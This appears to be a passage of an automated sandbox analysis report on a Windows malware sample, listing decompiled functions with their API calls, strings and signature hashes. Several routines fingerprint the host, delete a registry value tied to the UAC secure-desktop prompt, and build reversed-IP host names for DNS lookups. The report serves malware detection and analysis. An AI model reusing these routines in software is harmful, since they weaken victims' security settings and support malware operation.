					if(_t11 == 0) {
						_t17 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						E0040E3CA(_t32, 0x80000001, E00402544(0x4122f8, 0x4110a0, 0x19, 0xe4, 0xc8), _t17);
						_t40 = _t40 + 0x34;
					}
					E0040EE2A(_t31, 0x4122f8, 0, 0x100);
					E0040EE2A(_t31, 0x4128f8, 0, 0x100);
					E0040DD69();
					return 1;
				}
				_t20 = GetFileSize(_t28, 0);
				_v4 = _t20;
				if(_t20 != 0) {
					E0040DB2E(_t20);
					_t23 =  *0x4136c4;
					_pop(_t31);
					if(_t23 != 0) {
						_t31 =  &_v4;
						_t24 = ReadFile(_t28, _t23, _v4,  &_v4, 0);
						_t48 = _t24;
						if(_t24 != 0) {
							E00402544( *0x4136c4,  *0x4136c4, _v4, 0xe4, 0xc8);
							E0040E332(_t32, _t48,  *0x4136c4, _v4);
							_t37 = _t37 + 0x1c;
						}
					}
				}
				CloseHandle(_t28);
				goto L6;
			}

0x0040e52e
0x0040e52e
0x0040e533
0x0040e544
0x0040e54c
0x0040e553
0x0040e5b8
0x0040e5c7
0x0040e5ed
0x0040e5f2
0x0040e5f7
0x0040e603
0x0040e624
0x0040e629
0x0040e629
0x0040e635
0x0040e63e
0x0040e646
0x0040e653
0x0040e653
0x0040e558
0x0040e55e
0x0040e564
0x0040e567
0x0040e56c
0x0040e571
0x0040e574
0x0040e578
0x0040e583
0x0040e589
0x0040e58b
0x0040e59a
0x0040e5a9
0x0040e5ae
0x0040e5ae
0x0040e58b
0x0040e574
0x0040e5b2
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

GetFileSize.KERNEL32(00000000,00000000,?,74B043E0,?,00000000,?,0040A445), ref: 0040E558
ReadFile.KERNEL32(00000000,?,00000000,?,00000000,?,74B043E0,?,00000000,?,0040A445), ref: 0040E583
CloseHandle.KERNEL32(00000000,?,74B043E0,?,00000000,?,0040A445), ref: 0040E5B2

Strings

PromptOnSecureDesktop, xrefs: 0040E5D9, 0040E5DE, 0040E615, 0040E634

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$CloseCountCurrentExchangeHandleInterlockedReadSizeThreadTick
String ID: PromptOnSecureDesktop
API String ID: 3683885500-2980165447
Opcode ID: ea61079883e1d137724bdb03d89989e3cb326a6ab799ec698869bd57d3053e24
Instruction ID: 336cca8f28a0ae06816d6806ca3c094c6326420f96deeb8fe64773c8e7208e17
Opcode Fuzzy Hash: ea61079883e1d137724bdb03d89989e3cb326a6ab799ec698869bd57d3053e24
Instruction Fuzzy Hash: F321EAB19402047AE2207B639C0AFAB3D1CDF54758F10093EBA09B11E3E9BDD96082BD

Uniqueness

Uniqueness Score: -1.00%

Function 00401AC3, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00401AC3() {
				signed int _v8;
				char _v12;
				signed int _v16;
				struct HINSTANCE__* _t19;
				intOrPtr _t24;
				intOrPtr _t26;
				intOrPtr* _t28;
				signed int _t39;
				void* _t41;
				intOrPtr _t43;

				_v16 = 0;
				_t19 = LoadLibraryA("Iphlpapi.dll");
				if(_t19 == 0) {
					L15:
					return _v16;
				}
				_t28 = GetProcAddress(_t19, "GetAdaptersAddresses");
				if(_t28 == 0) {
					L14:
					goto L15;
				}
				_push( &_v12);
				_v8 = 0;
				_v12 = 0;
				_push(0);
				while(1) {
					_t41 =  *_t28(2, 0, 0);
					if(_t41 != 0x6f) {
						break;
					}
					_t24 = E0040EBED(_v8, _v12);
					if(_t24 == 0) {
						break;
					}
					_push( &_v12);
					_v8 = _t24;
					_push(_t24);
				}
				if(_t41 != 0) {
					L11:
					if(_v8 != 0) {
						E0040EC2E(_v8);
					}
					L13:
					goto L14;
				}
				_t26 = _v8;
				if(_t26 == 0) {
					goto L13;
				} else {
					goto L8;
				}
				do {
					L8:
					_t43 =  *((intOrPtr*)(_t26 + 0x34));
					_t39 = 0;
					if(_t43 <= 0) {
						goto L10;
					} else {
						goto L9;
					}
					do {
						L9:
						_v16 = _v16 ^ ( *(_t26 + _t39 + 0x2c) & 0x000000ff) << (_t39 & 0x00000003) << 0x00000003;
						_t39 = _t39 + 1;
					} while (_t39 < _t43);
					L10:
					_t26 =  *((intOrPtr*)(_t26 + 8));
				} while (_t26 != 0);
				goto L11;
			}

0x00401ad1
0x00401ad4
0x00401adc
0x00401b6b
0x00401b70
0x00401b70
0x00401aef
0x00401af3
0x00401b6a
0x00000000
0x00401b6a
0x00401af9
0x00401afa
0x00401afd
0x00401b00
0x00401b1c
0x00401b22
0x00401b27
0x00000000
0x00000000
0x00401b09
0x00401b12
0x00000000
0x00000000
0x00401b17
0x00401b18
0x00401b1b
0x00401b1b
0x00401b2b
0x00401b5b
0x00401b5e
0x00401b63
0x00401b68
0x00401b69
0x00000000
0x00401b69
0x00401b2d
0x00401b32
0x00000000
0x00000000
0x00000000
0x00000000
0x00401b34
0x00401b34
0x00401b34
0x00401b37
0x00401b3b
0x00000000
0x00000000
0x00000000
0x00000000
0x00401b3d
0x00401b3d
0x00401b4c
0x00401b4f
0x00401b50
0x00401b54
0x00401b54
0x00401b57
0x00000000

APIs

LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

Strings

Iphlpapi.dll, xrefs: 00401ACC
GetAdaptersAddresses, xrefs: 00401AE3

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: GetAdaptersAddresses$Iphlpapi.dll
API String ID: 2574300362-1087626847
Opcode ID: 7cc85e8f3de9c6fda29538a55c0f424f160590cb2d54905ecd92653500fe7554
Instruction ID: f6c238f91e07a5798e813b0b618c72a9a5addbcd8e0b61e0281ff71d4ef1483f
Opcode Fuzzy Hash: 7cc85e8f3de9c6fda29538a55c0f424f160590cb2d54905ecd92653500fe7554
Instruction Fuzzy Hash: 3D11DA71E01124BFCB11DBA5DD858EEBBB9EB44B10B144077E005F72A1E7786E80CB98

Uniqueness

Uniqueness Score: -1.00%

Function 02F0764E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,00020119,?), ref: 02F076C2
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 02F07956
RegCloseKey.ADVAPI32(?), ref: 02F07967

Strings

PromptOnSecureDesktop, xrefs: 02F076AE, 02F076B3, 02F076CE

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: CloseEnumOpen
String ID: PromptOnSecureDesktop
API String ID: 1332880857-2980165447
Opcode ID: 6add54f53aa26b9129486f5997ff6e8fcd40a3645fc937a9d882d7137db5ef12
Instruction ID: aa10ab3fe16e366649c9160fc22694860b20a6deafc9d5aa4fd3e2adee5c16da
Opcode Fuzzy Hash: 6add54f53aa26b9129486f5997ff6e8fcd40a3645fc937a9d882d7137db5ef12
Instruction Fuzzy Hash: 1011E130A00109AFDB11AF99DC84FAFFB79EB81784F144691F611EA1D0D7B099409F60

Uniqueness

Uniqueness Score: -1.00%

Function 00401BDF, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00401BDF() {
				long _v8;
				long _v12;
				void* _v27;
				char _v28;
				void* _t14;
				signed int _t21;
				signed int _t30;
				void* _t31;

				_v28 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t30 = 0;
				_v12 = 0;
				asm("stosb");
				_v8 = 0xf;
				_t14 = E00401AC3();
				if(_t14 == 0) {
					if(GetComputerNameA( &_v28,  &_v8) == 0) {
						L6:
						GetVolumeInformationA(0, 0, 4,  &_v12, 0, 0, 0, 0);
						return _v12;
					}
					_t21 = 0;
					if(_v8 <= 0) {
						goto L6;
					} else {
						goto L3;
					}
					do {
						L3:
						_t30 = _t30 ^  *(_t31 + _t21 - 0x18) << (_t21 & 0x00000003) << 0x00000003;
						_t21 = _t21 + 1;
					} while (_t21 < _v8);
					if(_t30 == 0) {
						goto L6;
					}
					return _t30;
				}
				return _t14;
			}

0x00401bec
0x00401bf2
0x00401bf3
0x00401bf4
0x00401bf5
0x00401bf7
0x00401bf9
0x00401bfc
0x00401bfd
0x00401c04
0x00401c0b
0x00401c1d
0x00401c45
0x00401c51
0x00000000
0x00401c57
0x00401c1f
0x00401c24
0x00000000
0x00000000
0x00000000
0x00000000
0x00401c26
0x00401c26
0x00401c35
0x00401c37
0x00401c38
0x00401c3f
0x00000000
0x00000000
0x00000000
0x00401c41
0x00401c5e

APIs

Part of subcall function 00401AC3: LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
Part of subcall function 00401AC3: GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

GetComputerNameA.KERNEL32(?,0000000F), ref: 00401C15
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,00000001,00000000,00000000,00000000,00000000,?,?,?,?,00000001), ref: 00401C51

Strings

hi_id, xrefs: 00401BE5
localcfg, xrefs: 00401BE7

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressComputerInformationLibraryLoadNameProcVolume
String ID: hi_id$localcfg
API String ID: 2777991786-2393279970
Opcode ID: 8706900559274ba91d770fb8bb1d60ecae66f9331a84d665d36368a2f022e804
Instruction ID: b3a67a5cb4ed68e183e77afdc8505cc80d304e276af6d439446d09174096bcc5
Opcode Fuzzy Hash: 8706900559274ba91d770fb8bb1d60ecae66f9331a84d665d36368a2f022e804
Instruction Fuzzy Hash: B2018072A44118BBEB10EAE8C8C59EFBABCAB48745F104476E602F3290D274DE4486A5

Uniqueness

Uniqueness Score: -1.00%

Function 02F0994F, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000), ref: 02F09986
RegDeleteValueA.ADVAPI32(?,00000000), ref: 02F099A6
RegCloseKey.ADVAPI32(?), ref: 02F099AF

Strings

PromptOnSecureDesktop, xrefs: 02F09972, 02F09977, 02F09999, 02F099BC

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: CloseDeleteOpenValue
String ID: PromptOnSecureDesktop
API String ID: 849931509-2980165447
Opcode ID: ecc939a75216a7bc4a9662cd8f3630595b0eae10caf242afcee65d599bec8ec6
Instruction ID: 126ba443280cd08b2dc257d51749eac3b6f0162a821f6eee4d3d434a746d47cd
Opcode Fuzzy Hash: ecc939a75216a7bc4a9662cd8f3630595b0eae10caf242afcee65d599bec8ec6
Instruction Fuzzy Hash: 2AF096B2A80208BBF7116B54AC4AFDF3A2DDB85B40F104061FF05B90D1F6E59E9196B9

Uniqueness

Uniqueness Score: -1.00%

Function 004096FF, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48
registryCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E004096FF(void* __ecx) {
				void* _v8;
				char* _t6;
				char* _t10;
				void* _t23;
				void* _t24;

				_t16 = __ecx;
				_push(__ecx);
				_t6 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
				_t24 = _t23 + 0x14;
				if(RegOpenKeyExA(0x80000001, _t6, 0, 0x103,  &_v8) == 0) {
					_t10 = E00402544(0x4122f8,  &E004106A0, 9, 0xe4, 0xc8);
					_t24 = _t24 + 0x14;
					RegDeleteValueA(_v8, _t10);
					RegCloseKey(_v8);
				}
				E0040EE2A(_t16, 0x4122f8, 0, 0x100);
				return 0;
			}

0x004096ff
0x00409702
0x00409728
0x0040972d
0x0040973e
0x0040974a
0x0040974f
0x00409756
0x0040975f
0x0040975f
0x0040976d
0x0040977b

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,PromptOnSecureDesktop,00000000,?,?,0040A14A), ref: 00409736
RegDeleteValueA.ADVAPI32(0040A14A,00000000,?,?,?,?,?,?,?,?,?,0040A14A), ref: 00409756
RegCloseKey.ADVAPI32(0040A14A,?,?,?,?,?,?,?,?,?,0040A14A), ref: 0040975F

Strings

PromptOnSecureDesktop, xrefs: 00409704, 00409722, 00409727, 00409749, 0040976C

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseDeleteOpenValue
String ID: PromptOnSecureDesktop
API String ID: 849931509-2980165447
Opcode ID: 2a8abeb1ae8c575472f9bd74b3adb91cbf41d09789710805d0faf142c4fb6012
Instruction ID: 5e38ed9511aa8cc069582274463af9cddeeab7037fd65aad7bdf8be664a95ff7
Opcode Fuzzy Hash: 2a8abeb1ae8c575472f9bd74b3adb91cbf41d09789710805d0faf142c4fb6012
Instruction Fuzzy Hash: 5AF0C8B2680118BBF3106B51AC0BFDF3A2CDB44704F100075F605B50D2E6E55E9082BD

Uniqueness

Uniqueness Score: -1.00%

Function 02F028D4, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(u6A), ref: 02F028E3
gethostbyname.WS2_32(u6A), ref: 02F028EF

Strings

time_cfg, xrefs: 02F028D4
u6A, xrefs: 02F028D5, 02F028E2, 02F028EE

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID: time_cfg$u6A
API String ID: 1594361348-1940331995
Opcode ID: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction ID: 9c5fbc3ecff1e8f936599febf9235a10eefee6c8cc43f76cdb96d93c68f2f67b
Opcode Fuzzy Hash: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction Fuzzy Hash: 2EE08C30A040109FCB108B28FC88BC537E5AF06270F108181F944C71A0C730DCC1A768

Uniqueness

Uniqueness Score: -1.00%

Function 00402684, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(?), ref: 00402693
gethostbyname.WS2_32(?), ref: 0040269F

Strings

~1u`y1up0u, xrefs: 00402693
time_cfg, xrefs: 00402684

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID: time_cfg$~1u`y1up0u
API String ID: 1594361348-3481543010
Opcode ID: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction ID: 506fadec158220b53989f58c32679351ed61dc8f5455c60e8cf87b9af1828998
Opcode Fuzzy Hash: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction Fuzzy Hash: 9CE08C302040219FCB108B28F848AC637A4AF06330F0189A2F840E32E0C7B89CC08688

Uniqueness

Uniqueness Score: -1.00%

Function 02F0D7B9, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 7sleepCOMMON

Download Yara Rule

APIs

closesocket.WS2_32(?), ref: 02F0D7BC
Sleep.KERNEL32(000003E8), ref: 02F0D7C7
ExitProcess.KERNEL32 ref: 02F0D7D3

Strings

p0u, xrefs: 02F0D7BC

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: ExitProcessSleepclosesocket
String ID: p0u
API String ID: 2012141568-1742372003
Opcode ID: a6f9f776857f4ecde53a678587fdf16408cfdffbb3d2d617deb71ab51d0e9a11
Instruction ID: 138d2dcea529529455116b4ff7649f6ad232c3ed2ec09adbe287921099d17274
Opcode Fuzzy Hash: a6f9f776857f4ecde53a678587fdf16408cfdffbb3d2d617deb71ab51d0e9a11
Instruction Fuzzy Hash: A4C04830841208EBD7412BA4FC8CA8C3E6AAB08302B20C960A20A910B0CAB00A809A29

Uniqueness

Uniqueness Score: -1.00%

Function 02F069AC, Relevance: 6.2, APIs: 4, Instructions: 199COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNEL32(?,00000080), ref: 02F069CE
SetFileAttributesA.KERNEL32(?,00000002), ref: 02F06A0F
GetFileSize.KERNEL32(000000FF,00000000), ref: 02F06A23
CloseHandle.KERNEL32(000000FF), ref: 02F06BC1

Part of subcall function 02F0EE7E: GetProcessHeap.KERNEL32(00000000,?,00000000,02F01DB8,?), ref: 02F0EE91
Part of subcall function 02F0EE7E: HeapFree.KERNEL32(00000000), ref: 02F0EE98

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: File$AttributesHeap$CloseFreeHandleProcessSize
String ID:
API String ID: 3384756699-0
Opcode ID: 7cb1483d7ca4a0334585b6ef60a3fe03637638a32adcd708d2059a772ed48796
Instruction ID: cffb2f9ebda3de0799743c6282bae6d4cf97fe0d90241c21f3aa501fe8aab9ff
Opcode Fuzzy Hash: 7cb1483d7ca4a0334585b6ef60a3fe03637638a32adcd708d2059a772ed48796
Instruction Fuzzy Hash: 6C71D9B1D0021DEFDF119FA4CC84AEEBBB9FB08394F1045AAE615E6190D7709E92DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00401C5F, Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401C5F(void* __eflags) {
				signed int _t49;
				signed int _t51;
				void* _t80;
				char _t91;
				void* _t92;
				signed int _t98;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t105;
				void* _t107;
				void* _t108;

				_t105 = _t107 - 0x70;
				_t108 = _t107 - 0x114;
				 *(_t105 + 0x6c) =  *(_t105 + 0x6c) & 0x00000000;
				_t98 =  *(_t105 + 0x7c);
				 *(_t105 + 0x7c) =  *(_t105 + 0x7c) & 0x00000000;
				_t101 = E0040ED03(_t98, 0x2c);
				if(_t101 == 0) {
					L6:
					_t49 = _t98;
					_t32 = _t49 + 1; // 0x2
					_t102 = _t32;
					do {
						_t91 =  *_t49;
						_t49 = _t49 + 1;
					} while (_t91 != 0);
					 *((char*)(_t105 + _t49 - _t102 - 0x24)) = _t91;
					_t51 = _t98;
					_t35 = _t51 + 1; // 0x2
					_t103 = _t35;
					do {
						_t92 =  *_t51;
						_t51 = _t51 + 1;
					} while (_t92 != 0);
					E0040EE5C(_t105 - 0x24, _t98, _t51 - _t103);
					wsprintfA(_t105 - 0xa4, "%u.%u.%u.%u.%s",  *(_t105 + 0x7b) & 0x000000ff,  *(_t105 + 0x7a) & 0x000000ff,  *(_t105 + 0x79) & 0x000000ff,  *(_t105 + 0x78) & 0x000000ff, _t105 - 0x24);
					if(E00402684(_t105 - 0xa4) != 0) {
						 *(_t105 + 0x6c) =  *(_t105 + 0x6c) | 1 <<  *(_t105 + 0x7c);
					}
					L12:
					return  *(_t105 + 0x6c);
				}
				 *(_t105 + 0x5c) =  *(_t105 + 0x78) & 0x000000ff;
				 *(_t105 + 0x60) =  *(_t105 + 0x79) & 0x000000ff;
				 *(_t105 + 0x68) =  *(_t105 + 0x7a) & 0x000000ff;
				 *(_t105 + 0x64) =  *(_t105 + 0x7b) & 0x000000ff;
				while(1) {
					 *((char*)(_t105 + _t101 - _t98 - 0x24)) = 0;
					E0040EE5C(_t105 - 0x24, _t98, _t101 - _t98);
					_t22 = _t101 + 1; // 0x1
					_t98 = _t22;
					wsprintfA(_t105 - 0xa4, "%u.%u.%u.%u.%s",  *(_t105 + 0x64),  *(_t105 + 0x68),  *(_t105 + 0x60),  *(_t105 + 0x5c), _t105 - 0x24);
					_t80 = E00402684(_t105 - 0xa4);
					_t108 = _t108 + 0x2c;
					if(_t80 != 0) {
						 *(_t105 + 0x6c) =  *(_t105 + 0x6c) | 1 <<  *(_t105 + 0x7c);
					}
					 *(_t105 + 0x7c) =  *(_t105 + 0x7c) + 1;
					if( *(_t105 + 0x7c) > 0x1e) {
						goto L12;
					}
					_t101 = E0040ED03(_t98, 0x2c);
					if(_t101 != 0) {
						continue;
					}
					goto L6;
				}
				goto L12;
			}

0x00401c60
0x00401c64
0x00401c6a
0x00401c71
0x00401c74
0x00401c86
0x00401c8c
0x00401d1c
0x00401d1c
0x00401d1e
0x00401d1e
0x00401d21
0x00401d21
0x00401d23
0x00401d24
0x00401d2a
0x00401d2e
0x00401d30
0x00401d30
0x00401d33
0x00401d33
0x00401d35
0x00401d36
0x00401d42
0x00401d6b
0x00401d7e
0x00401d88
0x00401d88
0x00401d8b
0x00401d95
0x00401d95
0x00401c96
0x00401c9d
0x00401ca4
0x00401cab
0x00401cae
0x00401cb3
0x00401cbd
0x00401cd2
0x00401cd2
0x00401ce1
0x00401cea
0x00401cef
0x00401cf4
0x00401cfe
0x00401cfe
0x00401d04
0x00401d0a
0x00000000
0x00000000
0x00401d14
0x00401d1a
0x00000000
0x00000000
0x00000000
0x00401d1a
0x00000000

APIs

wsprintfA.USER32 ref: 00401CE1
wsprintfA.USER32 ref: 00401D6B

Strings

%u.%u.%u.%u.%s, xrefs: 00401CDB, 00401D65
localcfg, xrefs: 00401C70

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: wsprintf
String ID: %u.%u.%u.%u.%s$localcfg
API String ID: 2111968516-120809033
Opcode ID: 013209f5f393509082169113c365cfa774f3339610439ce827356f9210efd2df
Instruction ID: f60862e96afe744063ef1f8e151e0253a3d6131670b42bf9f562b78b9aabf051
Opcode Fuzzy Hash: 013209f5f393509082169113c365cfa774f3339610439ce827356f9210efd2df
Instruction Fuzzy Hash: 3C41C1729042999FDB21DF798D44BEE7BE89F49310F240066FD64E3192D639EA04CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02F041DC, Relevance: 6.0, APIs: 4, Instructions: 46filesynchronizationCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 02F04208
GetLastError.KERNEL32 ref: 02F04212
WaitForSingleObject.KERNEL32(?,?), ref: 02F04223
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 02F04236

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedReadResultSingleWait
String ID:
API String ID: 888215731-0
Opcode ID: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction ID: aa9ee06c268200622c9d744320b46e9e7e41621673c504caad725a3dc7e6ba21
Opcode Fuzzy Hash: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction Fuzzy Hash: DE01C872A11109ABDF11DF95ED84BEF7BACFB08296F108061FA01E2090D770DA549BB6

Uniqueness

Uniqueness Score: -1.00%

Function 02F04168, Relevance: 6.0, APIs: 4, Instructions: 46filesynchronizationCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 02F04194
GetLastError.KERNEL32 ref: 02F0419E
WaitForSingleObject.KERNEL32(?,?), ref: 02F041AF
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 02F041C2

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedResultSingleWaitWrite
String ID:
API String ID: 3373104450-0
Opcode ID: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction ID: 6f3f3d8a54f66813ee6e1ad24145f74e2d3210a24af70eab88f2b6695944f887
Opcode Fuzzy Hash: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction Fuzzy Hash: 1201A972911109ABEF12DF90ED85BEF7B7CFB18296F504061FA01E2090D7709A649BB5

Uniqueness

Uniqueness Score: -1.00%

Function 00403F18, Relevance: 6.0, APIs: 4, Instructions: 46
filesynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F18(void* _a4, void* _a8, long _a12, long _a16, long _a20) {
				struct _OVERLAPPED _v24;
				long _t30;
				void* _t31;

				_v24.Offset = _v24.Offset & 0x00000000;
				_v24.OffsetHigh = _v24.OffsetHigh & 0x00000000;
				_t30 = _a12;
				_t31 = _a16;
				_a16 = _a16 & 0x00000000;
				_v24.hEvent = _t31;
				if(WriteFile(_a4, _a8, _t30,  &_a16,  &_v24) != 0) {
					L3:
					if(_t30 != _a16) {
						L5:
						return 0;
					}
					return 1;
				}
				if(GetLastError() != 0x3e5) {
					goto L5;
				}
				WaitForSingleObject(_t31, _a20);
				if(GetOverlappedResult(_a4,  &_v24,  &_a16, 0) == 0) {
					goto L5;
				}
				goto L3;
			}

0x00403f1e
0x00403f22
0x00403f27
0x00403f2b
0x00403f2e
0x00403f3e
0x00403f4c
0x00403f7c
0x00403f7f
0x00403f86
0x00000000
0x00403f86
0x00000000
0x00403f83
0x00403f59
0x00000000
0x00000000
0x00403f5f
0x00403f7a
0x00000000
0x00000000
0x00000000

APIs

WriteFile.KERNEL32(00000000,00000000,0040A3C7,00000000,00000000,000007D0,00000001), ref: 00403F44
GetLastError.KERNEL32 ref: 00403F4E
WaitForSingleObject.KERNEL32(00000004,?), ref: 00403F5F
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403F72

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedResultSingleWaitWrite
String ID:
API String ID: 3373104450-0
Opcode ID: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction ID: 81d5a9f64dfd66904774ebc82d2e0e48c629fa8216d99cd76bf4a5dbd4e59073
Opcode Fuzzy Hash: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction Fuzzy Hash: B9010C7291110AABDF01DF90ED44BEF7B7CEB08356F104066FA01E2190D774DA558BB6

Uniqueness

Uniqueness Score: -1.00%

Function 00403F8C, Relevance: 6.0, APIs: 4, Instructions: 46
filesynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F8C(void* _a4, void* _a8, long _a12, long _a16, long _a20) {
				struct _OVERLAPPED _v24;
				long _t30;
				void* _t31;

				_v24.Offset = _v24.Offset & 0x00000000;
				_v24.OffsetHigh = _v24.OffsetHigh & 0x00000000;
				_t30 = _a12;
				_t31 = _a16;
				_a16 = _a16 & 0x00000000;
				_v24.hEvent = _t31;
				if(ReadFile(_a4, _a8, _t30,  &_a16,  &_v24) != 0) {
					L3:
					if(_t30 != _a16) {
						L5:
						return 0;
					}
					return 1;
				}
				if(GetLastError() != 0x3e5) {
					goto L5;
				}
				WaitForSingleObject(_t31, _a20);
				if(GetOverlappedResult(_a4,  &_v24,  &_a16, 0) == 0) {
					goto L5;
				}
				goto L3;
			}

0x00403f92
0x00403f96
0x00403f9b
0x00403f9f
0x00403fa2
0x00403fb2
0x00403fc0
0x00403ff0
0x00403ff3
0x00403ffa
0x00000000
0x00403ffa
0x00000000
0x00403ff7
0x00403fcd
0x00000000
0x00000000
0x00403fd3
0x00403fee
0x00000000
0x00000000
0x00000000

APIs

ReadFile.KERNEL32(00000000,00000000,0040A3C7,00000000,00000000,000007D0,00000001), ref: 00403FB8
GetLastError.KERNEL32 ref: 00403FC2
WaitForSingleObject.KERNEL32(00000004,?), ref: 00403FD3
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403FE6

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedReadResultSingleWait
String ID:
API String ID: 888215731-0
Opcode ID: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
